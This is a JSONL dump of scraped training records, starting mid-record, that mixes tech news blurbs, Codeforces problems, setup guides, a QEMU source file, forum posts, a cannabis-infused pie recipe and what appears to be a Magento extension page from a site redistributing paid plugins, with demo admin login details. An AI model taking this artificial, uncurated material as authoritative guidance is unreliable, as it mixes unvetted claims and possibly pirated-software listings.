Marketing Manager at Nutanix, will explore t...\nMar. 23, 2017 02:30 PM EDT Reads: 2,360\nSYS-CON Events announced today that CA Technologies has been named “Platinum Sponsor” of SYS-CON's 20th International Cloud Expo®, which will take place on June 6-8, 2017, at the Javits Center in New York City, NY, and the 21st International Cloud Expo®, which will take place October 31-November 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. CA Technologies helps customers succeed in a future where every business – from apparel to energy – is being rewritten by software. From ...\nMar. 23, 2017 02:15 PM EDT Reads: 1,170\nPentaho has announced orchestration capabilities that streamline the entire machine learning workflow and enable teams of data scientists, engineers and analysts to train, tune, test and deploy predictive models. Pentaho’s Data Integration and analytics platform ends the ‘gridlock’ associated with machine learning by enabling smooth team collaboration, maximizing limited data science resources and putting predictive models to work on big data faster – regardless of use case, industry, or languag...\nMar. 23, 2017 01:00 PM EDT Reads: 2,110\nSYS-CON Events announced today that T-Mobile will exhibit at SYS-CON's 20th International Cloud Expo®, which will take place on June 6-8, 2017, at the Javits Center in New York City, NY. As America's Un-carrier, T-Mobile US, Inc., is redefining the way consumers and businesses buy wireless services through leading product and service innovation. The Company's advanced nationwide 4G LTE network delivers outstanding wireless experiences to 67.4 million customers who are unwilling to compromise on ...\nMar. 23, 2017 12:45 PM EDT Reads: 1,673\nKeeping pace with advancements in software delivery processes and tooling is taxing even for the most proficient organizations. Point tools, platforms, open source and the increasing adoption of private and public cloud services requires strong engineering rigor - all in the face of developer demands to use the tools of choice. As Agile has settled in as a mainstream practice, now DevOps has emerged as the next wave to improve software delivery speed and output. To make DevOps work, organization...\nMar. 23, 2017 12:30 PM EDT Reads: 1,150", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2696, "token_count_with_eod": 2697, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Active Directory Federation Service (ADFS) is a Microsoft software component that provides Single Sign-On (SSO) authorization to users of Windows Server Operating Systems. ADFS enables users to access applications on Windows Server Operating Systems across organizational boundaries using a single set of login credentials.\nADFS enables users from one organization to access applications from partner organizations by using their standard Active Directory credentials (AD). ADFS also allows users to access AD-integrated applications while working remotely via a web interface, using their standard organizational AD credentials.\nTo connect ADFS and QuestionPro using SAML 2.0, follow the steps below:\nFollow the steps below to get the SP certificate and ACS URL from your QuestionPro account:\nFollow the steps below to extract the signing certificate from ADFS:\nYes, It is possible to map new users to a specific Business Unit/ Team. You can pass a claim named \"teamName\" in your SAML assertion containing the Business Unit Name / Team Name from your QuestionPro account which will add new users under that specific Business Unit/ Team. In the following example shown in the screenshot we have used the \"Department\" field of the user's profile to store the Team Name for the user which will be passed in the SAML assertion:\nThis feature is available with the following license :", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 266, "token_count_with_eod": 267, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This past week, I had the opportunity to create my own magazine spread using inDesign. As a class, we all used our new knowledge of important design principles to make an aesthetically pleasing and purposeful project to share with our peers and with those who read our blogs.\nThis is my design:\nMy audience for this project would be members of the Latter-day Saint church that have either been through the temple or are preparing to go through the temple. For this reason, I kept my design fairly simple and straightforward. I didn’t feel it was appropriate to use large contrasting elements because I was going for a peaceful, serene feeling.\nI used elements of repetition in my spread because all of my text is uniform, only interrupted by uniform headings to introduce the next section. I used contrast by making the word “temple” much larger and more pronounced than the rest of the text. This was intentional because the temple is what the talk is all about.\nWhen I was originally creating this spread, I began to randomly choose colors for the text and backgrounds without even thinking about it. I used yellows and bright blues in order to “hold attention” or so I thought. When I took another look, I realized I needed to be more organized in my approach. Using the Adobe Color Wheel tool, I was able to use colors from the first picture and match them with complimenting colors. It gives a much more peaceful affect (which is what I was going for anyway).\nI took both of the images in this project myself with my phone. I took the first photo with a lot of empty space around the subject (temple) so that I could zoom in and use the surrounding elements as part of my design. The second photo brings the pop of color that I was originally going for without being too overwhelming.\nThis project was really eye opening because it allowed me to see what my natural design instincts are and what I need to pay more attention to in future projects.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 400, "token_count_with_eod": 401, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a string $$$s$$$ of length $$$n$$$. Let's define two operations you can apply on the string:\n\n- remove the first character of the string;\n- remove the second character of the string.\n\nYour task is to find the number of distinct non-empty strings that can be generated by applying the given operations on the initial string any number of times (possibly zero), in any order.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Isart and Modsart were trying to solve an interesting problem when suddenly Kasra arrived. Breathless, he asked: \"Can you solve a problem I'm stuck at all day?\"\n\nWe have a tree T with n vertices and m types of ice cream numerated from 1 to m. Each vertex i has a set of si types of ice cream. Vertices which have the i-th (1 ≤ i ≤ m) type of ice cream form a connected subgraph. We build a new graph G with m vertices. We put an edge between the v-th and the u-th (1 ≤ u, v ≤ m, u ≠ v) vertices in G if and only if there exists a vertex in T that has both the v-th and the u-th types of ice cream in its set. The problem is to paint the vertices of G with minimum possible number of colors in a way that no adjacent vertices have the same color.\n\nPlease note that we consider that empty set of vertices form a connected subgraph in this problem.\n\nAs usual, Modsart don't like to abandon the previous problem, so Isart wants you to solve the new problem.", "source": "cpt_codeforces", "language": "en", "token_count": 236, "token_count_with_eod": 237, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Laravel Docker Starter\nDocker development environment construction package for Laravel application. [for Mac]\n- Docker for Mac must be installed.\n- composer (If it is not installed, it will be installed at setup time.)\nOperation confirmed environment\n- macOS Mojave\n- Docker Desktop for Mac: 184.108.40.206\n- Docker Engine: 18.09.1\n- Compose: 1.23.2\nEnvironment to be built\n- centos: Latest edition\n- Apache: 2.4\n- PHP: 7.2\n- Laravel: Latest edition\n- MySQL: 8.0\nlaravel-docker/ ├── README.md ├── docker │ ├── app │ │ ├── Dockerfile ... Dockerfile for applications │ │ └── init │ │ ├── .env ... Laravel env file │ │ └── app_setting.sh ... Shell for starting application server │ ├── db │ │ ├── Dockerfile ... Dockerfile for Database │ │ └── conf.d │ │ └── my.cnf ... MySQL configuration file │ └── docker-compose.yml ... The app and db containers are managed by docker-compose. ├── order.sh ... ShellScript to operate Laravel and Docker └── src ... Laravel source and configuration file installation directory\n// Download sources git clone https://github.com/rito328/laravel-docker.git // Go to the laravel-docker directory. cd /path/to/laravel-docker // When you start setup, Laravel will be installed and the Docker environment will be launched. sh order.sh setup\n!! POINT !!\nSince migration and seeding are executed during Laravel setup, initial data can be input by defining these in advance.\nWhen setup is complete, access localhost.\nOnce setup is done, operation can be controlled by start / stop.\n// stop sh order.sh stop // start sh order.sh start\nThe Laravel project will be installed under\nlaravel-docker/ └── src └── laravel\nThe Laravel project mounts from an external volume, so it will be persisted.\nsh order.sh setup : Set up Laravel Docker. sh order.sh start : Alias for setup. sh order.sh stop : Stop the container. sh order.sh restart : Reboot the container. sh order.sh destroy : Delete containers and images. sh order.sh conn app : Connect to app container. sh order.sh conn db : Connect to MySQL in db container. sh order.sh help : Display help.\nBecause it is a starter pack for a troublesome shop, it may be more convenient and the source should be still getting better. Of course, the bad part should be improved. Please send pull request by all means. We welcome your participation.\nThis package made Laravel easy to try under Docker environment. Since we are also committing some configuration files, we do not recommend deploying these source file sets directly in the production environment.\nHave fun Laravel & Docker life!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 607, "token_count_with_eod": 608, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Vova promised himself that he would never play computer games... But recently Firestorm — a well-known game developing company — published their newest game, World of Farcraft, and it became really popular. Of course, Vova started playing it.\n\nNow he tries to solve a quest. The task is to come to a settlement named Overcity and spread a rumor in it.\n\nVova knows that there are n characters in Overcity. Some characters are friends to each other, and they share information they got. Also Vova knows that he can bribe each character so he or she starts spreading the rumor; i-th character wants ci gold in exchange for spreading the rumor. When a character hears the rumor, he tells it to all his friends, and they start spreading the rumor to their friends (for free), and so on.\n\nThe quest is finished when all n characters know the rumor. What is the minimum amount of gold Vova needs to spend in order to finish the quest?\n\nTake a look at the notes if you think you haven't understood the problem completely.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I love this neon yellow mini skirt matching a white top,\noh, simple but gorgeous and impressed!\nThe Yellow Cambridge Satchel Company is so adorable!\nOh my god, this neon yellow python Celine box bag is super bright and cute!\nThis is really a bright season for you to play with the colors, the more acid colors you are in, the more trendy you look like! Here are some street snaps about YELLOW, I've never thought of that yellow can be matched perfectly like this, love them so much. Yellow might be a little bit sharp for me, but I'd like to start with a small yellow bag and a yellow skirt! Oh, let's enjoy the bright season with the pleasant colors!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 148, "token_count_with_eod": 149, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A parentheses sequence is a string consisting of characters \"(\" and \")\", for example \"(()((\".\n\nA balanced parentheses sequence is a parentheses sequence which can become a valid mathematical expression after inserting numbers and operations into it, for example \"(()(()))\".\n\nThe balance of a parentheses sequence is defined as the number of opening parentheses \"(\" minus the number of closing parentheses \")\". For example, the balance of the sequence \"(()((\" is 3.\n\nA balanced parentheses sequence can also be defined as a parentheses sequence with balance 0 such that each of its prefixes has a non-negative balance.\n\nWe define the balanced shuffle operation that takes a parentheses sequence and returns a parentheses sequence as follows: first, for every character of the input sequence, we compute the balance of the prefix of the sequence before that character and write those down in a table together with the positions of the characters in the input sequence, for example:\n\nPrefix balance01212321Position12345678Character(()(()))\n\nThen, we sort the columns of this table in increasing order of prefix balance, breaking ties in decreasing order of position. In the above example, we get:\n\nPrefix balance01112223Position18427536Character()(()())\n\nThe last row of this table forms another parentheses sequence, in this case \"()(()())\". This sequence is called the result of applying the balanced shuffle operation to the input sequence, or in short just the balanced shuffle of the input sequence.\n\nYou are given a balanced parentheses sequence. Print its balanced shuffle.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "This post is written by guest contributor, Grant Hardy.\nIt is a weighty responsibility to decide how God’s word should be presented to the world, and the Church takes this charge very, very seriously. The recent adjustments to the official standard works include many welcome corrections to the headings of the Doctrine and Covenants, but otherwise the revisions are quite minimal. As Elder Neil L. Andersen explained, “members should not feel that they need to purchase a new set of scriptures . . . Changes to the scriptural text include spelling, minor typographical, and punctuation corrections” (my emphasis). This perhaps makes sense in the case of the King James Version, which continues to be what it has been for the last 400 years, and for the Doctrine and Covenants, where the textual scholarship of the Joseph Smith Papers is ongoing. Yet it represents a lost opportunity for the Book of Mormon in light of Royal Skousen’s completed analysis of textual variants (in six books) and the publication of his reconstruction of the earliest text.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 211, "token_count_with_eod": 212, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The Crazyflie Swarm is a Networked Control platform designed for students to learn more about control and for researchers that wish to apply their research in practice. Platform development was started during the Summer of 2015 and continues to this day.\nHere you will find descriptions on how the platform works, how you can use it, and how you can get involved in developing the platform further!\nFrequently Asked Questions\nFor help with common problems and troubleshooting please see the FAQ.\nThe Crazyflie Swarm platform is based off of the Crazyflie Nano-quadcopter produced and maintained by Bitcraze. The Crazyflie is completely open-source so we are able to look at and modify any part of the code and customize it to our needs.\nMajor Platform Components:\nModifying the Platform\n- Keyboard Commands\n- Changing Radio Channel\n- Flight Modes\n- Adding a Crazyflie\nFuture Project Ideas\nThe whole concept of this Platform is to constantly expand its capabilities. If you are interested in developing this platform further here are some ideas to get you started! Additional details on any of these ideas can be found on the Future Project Ideas page.\n- Migrating Swarm Client PID's to Firmware\n- Model Development/Verification and Tuning X, Y, and Z Location PID's\n- Adding Parameter Support to Swarm Client\n- Threading Each USB Radio to speed up Computation\n- Developing New Controllers for the Crazyflie (pending Model Development)\n- Develop Communications Network Between Crazyflies\n- Trilateration Position Estimation using a Swarm\nBitcraze maintains their own wiki on the many Crazyflie systems. If you can't find what you are looking for here, chances are they will have something to help.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 359, "token_count_with_eod": 360, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Consider a table of size $$$n \\times m$$$, initially fully white. Rows are numbered $$$1$$$ through $$$n$$$ from top to bottom, columns $$$1$$$ through $$$m$$$ from left to right. Some square inside the table with odd side length was painted black. Find the center of this square.", "source": "cpt_codeforces", "language": "en", "token_count": 64, "token_count_with_eod": 65, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Cheers, masking worked. I don't use TTL anyway so its no real loss. Ive had the issue on a previous (550D) housing and the same on this. It also sometimes \"crashes\" and buttons stop responding and i need to power cycle the primary strobe to get control back.\nI may just bypass it completely as above to prevent the problem coming back.\nThe controller has never been flooded but the housing does get varying amounts of condensation in and this does seem to affect it sometimes when it runs there. No real way around that as im in the tropics, high humidity and no aircon available.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Frequently asked questions around Git and Version Control.\nHow can I ignore files that have already been committed to the repo?\nGit can only ignore files that are untracked - files that haven't been committed to the repository, yet. That's why, when you create a new repository, you should also create a .gitignore file with all the file patterns you want to ignore.\nHowever, of course, not everything goes perfect... and files slip through that you later would like to see ignored.\nThe Git Cheat Sheet\nNo need to remember all those commands and parameters: get our popular \"Git Cheat Sheet\" - for free!\nIn three steps, you can clean up your repository and make sure your ignored items are indeed ignored:\n# Remove the files from the index (not the actual files in the working copy)\n$ git rm -r --cached .\n# Add these removals to the Staging Area...\n$ git add .\n# ...and commit them!\n$ git commit -m \"Clean up ignored files\"\nIgnoring Committed Files in Tower\nIn case you are using the Tower Git client, the app does the heavy lifting for you: when trying to ignore a file that is already tracked in Git, Tower will ask if you want to untrack it - so that the ignore rules can do their work.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 275, "token_count_with_eod": 276, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I have a Qt window with the following flags:\nQt::CustomizeWindowHint |Qt::Tool |Qt::WindowCloseButtonHint |Qt::WindowTitleHint |Qt::MSWindowsFixedSizeDialogHint\nOn Mac, it has a resizable corner. How can I get rid of it? Specifying\ndoes not help. In fact, with the fixed-size policy the window acts weird when I try to resize - it disappears from foreground and becomes disabled for some reason.\nI don't mind dropping to the native API level.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 107, "token_count_with_eod": 108, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Software Defined Networking (SDN)\nWith well-established practices around Cloud and Networking, backed by strong expertise across the entire SDN and NFV stack, MBUZZ is a preferred right technology partner for ISVs, OEMs and Service Providers who plan to migrate their infrastructure, systems, equipment and networks to Cloud and SDN/NFV architecture.\nRapid advancements in Software Defined Networking (SDN) and Network Function Virtualization (NFV) technologies have enabled Telecom OEMs and Network Operators to free themselves from the constraints of expensive proprietary hardware and realize the cost savings of open source software running over Commercial Off-the-Shelf (COTS) hardware. However, if the network operators aim to move beyond mere cost savings and progress toward realization of the full potential of SDN & NFV through advanced implementations for Zero Touch Provisioning, cutting-edge VNFs and uniform network fabric, then they must elicit services of an Engineering Service Provider with deep domain expertise.\nOUR SERVICES IN THE SDN AREA INCLUDE\n- SDN-Xport: Platform agnostic OpenFlow Agent Toolkit : This OpenFlow v1.3 compliant solution integrates with various merchant silicon and NPUs for white box switching solutions.\n- We have delivered on OpenFlow enablement of switches and routers.\n- SDN Controller enhancements and Plug-in development to manage legacy (non-OpenFlow) network devices.\n- SDN Application development and scenario based testing; Controller staging and integration with legacy NMS, cloud management and service provisioning platforms.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 306, "token_count_with_eod": 307, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/* AUTOMATICALLY GENERATED, DO NOT MODIFY */\n\n/*\n * Schema-defined QAPI/QMP events\n *\n * Copyright (c) 2014 Wenchao Xia\n * Copyright (c) 2015-2018 Red Hat Inc.\n *\n * This work is licensed under the terms of the GNU LGPL, version 2.1 or later.\n * See the COPYING.LIB file in the top-level directory.\n */\n\n#include \"qemu/osdep.h\"\n#include \"qemu-common.h\"\n#include \"qapi-emit-events.h\"\n#include \"qapi-events-char.h\"\n#include \"qapi-visit-char.h\"\n#include \"qapi/error.h\"\n#include \"qapi/qmp/qdict.h\"\n#include \"qapi/qobject-output-visitor.h\"\n#include \"qapi/qmp-event.h\"\n\n\nvoid qapi_event_send_vserport_change(const char *id, bool open)\n{\n    QDict *qmp;\n    QObject *obj;\n    Visitor *v;\n    q_obj_VSERPORT_CHANGE_arg param = {\n        (char *)id, open\n    };\n\n    qmp = qmp_event_build_dict(\"VSERPORT_CHANGE\");\n\n    v = qobject_output_visitor_new(&obj);\n\n    visit_start_struct(v, \"VSERPORT_CHANGE\", NULL, 0, &error_abort);\n    visit_type_q_obj_VSERPORT_CHANGE_arg_members(v, &param, &error_abort);\n    visit_check_struct(v, &error_abort);\n    visit_end_struct(v, NULL);\n\n    visit_complete(v, &obj);\n    qdict_put_obj(qmp, \"data\", obj);\n    qapi_event_emit(QAPI_EVENT_VSERPORT_CHANGE, qmp);\n\n    visit_free(v);\n    qobject_unref(qmp);\n}\n\n/* Dummy declaration to prevent empty .o file */\nchar qapi_dummy_qapi_events_char_c;", "source": "cpt_stack_code", "language": "code", "token_count": 417, "token_count_with_eod": 418, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Post time 2014-3-25 02:38:51|Show all posts| Maxthon 18.104.22.1680| Windows 7\nHi dear Maxthon folks,\nWe are very excited to announce Maxthon for Linux official version 22.214.171.124 is available for downloading.\nPlease check out the changelog below.\n1. Optimized UI to make it look better on low-resolutions, such as 1366*768.\n2. Added Favorites button on Tool Bar. Click it to show your favorites and hide it in settings. Then you can hide the Favorites bar when more page room is required.\n3. Fixed the issue that some Magic Fill data can not be shown or used.\n4. Fixed the duplication of Quick Access tiles on Windows version after login on Linux version.\n5. Now if you login, you can see your device on \"My Device\" page.\nPlease be one of the first to try this HOT official release. And thank you for your continued support.\n* Downloads below for Users who would like to onlyget reminders of official releases 32-bit:\nTo better and more efficiently solve the problems you meet during the usage, for any suggestions or bug reports, we do hope you may go to 'Product Support' area and report/describe by a new seperate thread for each problem/topic. We will read each thread and update the follow-up status then. Meanwhile, some problems are probably be left out if they are stated in other thread. Thanks very much for your cooperation!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 346, "token_count_with_eod": 347, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Windows Server 2016, Microsoft's newest server operating system, has the potential to be a big hit with businesses, IT professionals, and users.\nDeveloped alongside Windows 10, the Windows Server team worked closely with the System Center and Azure teams to establish a tightly-knit ecosystem.\nUpgrade: Switching from Drupal 6 to Drupal 7, or from Drupal 6 to Drupal 8, or from Drupal 7 to Drupal 8 is an 'upgrade'.\nIf you want to 'upgrade' your site, go here: Upgrade to Drupal 7 or 8 - Major version change to your current D6 or D7 site Unlike the words 'update' and 'upgrade', which refer to very specific tasks, the word 'migrate' has a broader meaning in that it is used in reference to several different tasks.\nMany people offer maintenance plans to help you stay up to date.\nThe problem with some of these plans is that they offer weekly, monthly, or quarterly updates.\nNo matter which version your site is currently using, you can update to the latest minor version that is available.\nThe end result delivers a seamless Microsoft experience from beginning to end; it bridges familiar technologies such as Active Directory and virtualization with modern infrastructure concepts, like containerization, federated services, and cloud-based services.\nFor the latest information on Windows Server 2016, check this article periodically, as this \"living\" guide will be updated when Microsoft releases new information about the OS.\nCAU automates the software updating process on clustered servers while maintaining availability.\nThis topic describes scenarios and applications for using CAU, and provides links to content that describes how to integrate CAU into other IT automation and management processes.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 359, "token_count_with_eod": 360, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Cannabis-infused Pumpkin Pie\n- Large Mixing Bowl Or Kitchen Mixer\n- Pie Dish\n- 8 oz cream cheese softened\n- 2 cups canned pumpkin puree\n- 1 cup sugar\n- 1/4 tsp salt Himalayan is best\n- 2 eggs slightly beaten\n- 1 cup half and half cream\n- 1/3 cup Canna Butter\n- 1 tsp vanilla extract\n- 1/2 tsp ground cinnamon\n- 1/4 tsp ground ginger\n- 1/4 tsp nutmeg\n- 1 x NINE inch unbaked pastry shell\n- 1 cup Cannabis Whipped Cream just because you can! Infused Whip Cream\n- Preheat oven to 350 degrees\n- Beat cream in a large mixing bowl or kitchen mixer. Add the pumpkin and beat until combined.\n- Add the sugar and salt. Beat.\n- Add the eggs, half-and-half, and Cannabutter. Beat until combined.\n- Beat in the remaining vanilla, cinnamon, and ginger until combined.\n- Pour the filling into the pie crust. Bake for 45-50 minutes, or until the center is set.\n- Let pie cool and room temperature before topping with whipped cream.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 261, "token_count_with_eod": 262, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Trust, as a foundation for efficient and sustainable teams, is a recurring topic on that blog. In Beyond Measure, I covered the simple exercise proposed by\nYou can benchmark your organization on the eight key factors presented in Learning from the neuroscience of trust by answering the 16 questions of the Ofactor Pulse test (I encourage you to read the book and respond to the test when triggered).\nQuestions are based on observable behaviors, which make them relatively easy to answer. For example, one is: “My leader treats setbacks and mistakes I make as a valuable opportunity to learn and try something new”. From “Strongly Agree” to “Strongly Disagree”, you can find where you stand.\nYour overall trust score could push you to dig more, and the full ratings a good idea of where to start investigating the potential changes in your behavior to create the conditions you want.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 177, "token_count_with_eod": 178, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "When Symantec Protection for SharePoint Servers 6.0 is installed in a SharePoint environment with mirrored SQL database servers, the Protection for SharePoint Servers 6.0 console will be inaccessible through the Central Administration page and SPSS 6.0 will not work as expected.\n\"2011-11-30 11:40:44\",\"(null)\",\"-1\",\"Error\",\"Cannot open\ndatabase \"\"xxxxxxxxx\"\" requested by the login. The login failed. Login\nfailed for user 'DOMAIN\\username.\",\" at\nowningObject) at System.Data.ProviderBase.DbConnectionFactory.GetConnection\n(DbConnection owningConnection) at\nouterConnection, DbConnectionFactory connectionFactory) at\nobjectType, String serverName)\",\"DAL: GetSPSSObjectsData\",\"SPSSDal\"\nThis issue is caused by a Defect in Symantec Protection for SharePoint Servers. When a SQL database is configured as the mirrored (secondary) database, access to this database is not allowed. The problem SPSS 6.0 in counters is that it is attempting to access this mirrored SQL database as if it is the primary database.\nThis issue has been addressed in 6.0.1 build of Symantec Protection for SharePoint Servers, which is currently available. Note, if upgrading to SPSS 6.0.1 is not an option there is a patch that can be applied to the 6.0 build of SPSS. Please contact Support regarding this patch.\nMirrored SQL database servers", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 310, "token_count_with_eod": 311, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "τῷ: that one, i.e. Paris. The mention of his name is unnecessary, since the gods have been watching the single-combat.αὖτε: on the other hand. φιλομμειδής: by assimilation for “φιλο-σμει-δης”. See § 12 e.\nThis text is part of:\nTable of Contents:\nThis work is licensed under a Creative Commons Attribution-ShareAlike 3.0 United States License.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 104, "token_count_with_eod": 105, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Most e-commerce websites provide a way for users to submit website feedback form with additional functionality from front end side. For this functionality, we have added “Website Feedback” extension.\nMagento2 Website Feedback extension is developed for providing flexibility to users can submit website feedback from front end side.\nIt comes with an admin configuration options that can be easily managed through website back end.\nOur extension provides flexibility for admin to set website feedback page. This can be managed completely via Magento2 admin. Separate CSS file is created to allow developers to change the look and feel of this section. CSS edits can be done from “GsWebsiteFeedback viewfrontendwebcssgs_websitefeedback.css”\n1. Users can submit website feedback from front end side and save in admin side grid.\n2. Admin can see website feedback from admin panel\n3. Admin manage website feedback page from system configuration.\n4. Admin screen to manage (View, Add, Edit, Delete, Change Status, Export) the website feedback submitted.\n5. Send Auto Responder email to user once website feedback has been submitted.\n6. Submitted Inquiry email send to multiple TO, multiple CC and multiple BCC addresses defined by admin within the comma separated manner. 7. Enable / Disable module from system configuration.\n1. Admin can enabled/disabled extension from admin configuration\n2. Admin can manage Website feedback module from system configuration.\n1. Users can submit website feedback from front end side.\nInstallation & Configuration Steps : You can find in downloaded file.\nURL : http://magento2.greesys.com/modules-demo/\nADMIN URL : http://magento2.greesys.com/modules-demo/greesys_admin/\nuname : greesys_admin\npass : [email protected]\nMercifully Note: We refresh new substance like WordPress Themes,\nPlugins, PHP Scripts ordinary. In any case, recall that you\nought to never utilize this things in a business site.\nEvery one of the substance posted here for advancement\nand testing reason as it were. We’re not in charge of\nany harm, use at your own particular RISK! We highly recommend to buy Website Feedback from the The Developer ( greesys ) website. Thank you.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 455, "token_count_with_eod": 456, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You will receive 3 points for solving this problem.\n\nManao is designing the genetic code for a new type of algae to efficiently produce fuel. Specifically, Manao is focusing on a stretch of DNA that encodes one protein. The stretch of DNA is represented by a string containing only the characters 'A', 'T', 'G' and 'C'.\n\nManao has determined that if the stretch of DNA contains a maximal sequence of consecutive identical nucleotides that is of even length, then the protein will be nonfunctional. For example, consider a protein described by DNA string \"GTTAAAG\". It contains four maximal sequences of consecutive identical nucleotides: \"G\", \"TT\", \"AAA\", and \"G\". The protein is nonfunctional because sequence \"TT\" has even length.\n\nManao is trying to obtain a functional protein from the protein he currently has. Manao can insert additional nucleotides into the DNA stretch. Each additional nucleotide is a character from the set {'A', 'T', 'G', 'C'}. Manao wants to determine the minimum number of insertions necessary to make the DNA encode a functional protein.", "source": "cpt_codeforces", "language": "en", "token_count": 237, "token_count_with_eod": 238, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Posted 22 September 2010 - 02:51 AM\nPosted 22 September 2010 - 06:44 PM\nPosted 25 September 2010 - 02:49 AM\nGetting Worked Up, No Need to\nTamagotchi Warnings: aiding the search for genuine products - some good guidelines on what is and what is not worth getting worked up about\nPosted 25 September 2010 - 10:47 AM\nPosted 05 October 2010 - 07:52 AM\nEdited by TamaMum, 05 October 2010 - 02:23 PM.\nPosted 11 October 2010 - 03:08 PM\nEdited by The Great Pumpkin Charlie Brown, 11 October 2010 - 03:10 PM.\nPosted 02 July 2011 - 12:42 PM\nIt is and the names Jidan and Bandi They sound the same and the V5 That is BANDI'S!!! Come on make youre own Vpets. i hope they do take this to court\nThat's just horrible, how dare they steal bandai's products and idea! I really hope that Bandai steps up and takes this to court and sues Jidan. Because clearly Bandai has copyrighted all of their tamagotchi's, and to think someone out there is trying to take away and fool consumers out of their money is just frustrating!\nPosted 02 July 2011 - 01:22 PM\nPlease avoid posting replies in topics where the last post was made more than three months ago?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 376, "token_count_with_eod": 377, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "When I started my career as a software developer and published the first production application what I did was staring at logs and look for some fatal errors. It was a monolith application. Every log saying that something’s wrong had to be fixed. ASAP. This approach worked for some time. However, when the scale increased, and I started building microservices, I couldn’t get rid of all of them. Network issues, database failures, and more - it happens all the time.\nIn Go, we can refer to variables using value or pointers. Sometimes, it’s hard to answer which approach is more suitable. At the first place, you should learn about general rules. Value semantic should be used every time when copying the value make sense in the logic of your code. For example, every value object should be passed by value. If you have a struct Money then it’s possible (and also make sense) to have, at the same time, multiple 10$ in your code.\nSlice is the most important data structure in Go. When it comes to performance, slices are going to beat any other data structure. They are simple but powerful. However, there are some gotchas you have to keep in mind. Today, I’ll explain how slices work to help you prevent some hard to find bugs and write better code. In Go, arrays have a fixed size. The length is part of the array’s type.\nIn the garbage-collected world, we want to keep the GC overhead as little as possible. One of the things we can do is limiting the number of allocations in our application. How to achieve that? There’s sync.Pool which caches allocated but unused items for later reuse. The Pool can become very useful when you have multiple parallel operations that can share the same piece of memory between them. The real power of it is visible when you have frequent allocations and deallocations of the same data structure.\nOAuth 2.0 is the industry-standard protocol for authorization. Go has built-in support for this protocol and today we’ll build a simple application. The application will use the Facebook API to authorize a user. If you need to clarify what oauth2 is and how it works you can take a look at the introduction from DigitalOcean. There are some videos as well. The very first step of building our program is creating a new Facebook application.\nThe varnish is a well-known HTTP accelerator. As the continuation of the GoInPractice series, today I’ll show how you can build a simple (and naive) varnish implementation in Go. Some of the code is reused from Writing a reverse proxy so if you don’t understand something, I recommend taking a look at the blog post. We’ll split our project into a few parts. The first one will be the caching mechanism.\nThis is the very first time I write a summary of a year. I feel that today is the day I should start doing it and that some digits may be interesting for some people. The biggest change I made this year was changing the blogging platform to Hugo and focused more on Go content. I continued organizing GoCracow meetup. This helped me become a Google Developer Expert in Go category.\nYou can find a lot of materials about Go (including this blog) but it’s hard to find the best place to start. This article’s goal is to sum up the most valuable materials I found to help others. I focus only on free materials. Fundamentals The Go tour - IMO the absolutely must do. You can try Go without installing it. You’ll learn some basic syntax and concepts step by step, Go by example - if you’re confused how to use a certain part of the language it’s possible you’ll find an example of it on this page.\nSome time ago, I found a video called Building a DIY proxy with the net package. I recommend watching it. Filippo Valsorda builds a simple proxy using low-level packages. It’s fun to watch it but I think it’s a bit complicated. In Go, it has to be an easier way so I decided to continue writing series Go In Practice by writing a simple but yet powerful reverse proxy as fast as it’s possible.\nGo is perfect for network applications. Its awesome standard library helps a lot in writing such software. In this article, we’ll write a simple TCP scanner in Go. The whole programm will take less than 50 lines of code. Before we’ll go to practice - a little theory. Of course, the TCP is more complicated than I describe but we need just basics. The TCP handshake is three-way. Firstly, the client sends the syn package which signals the beginning of a communication.", "source": 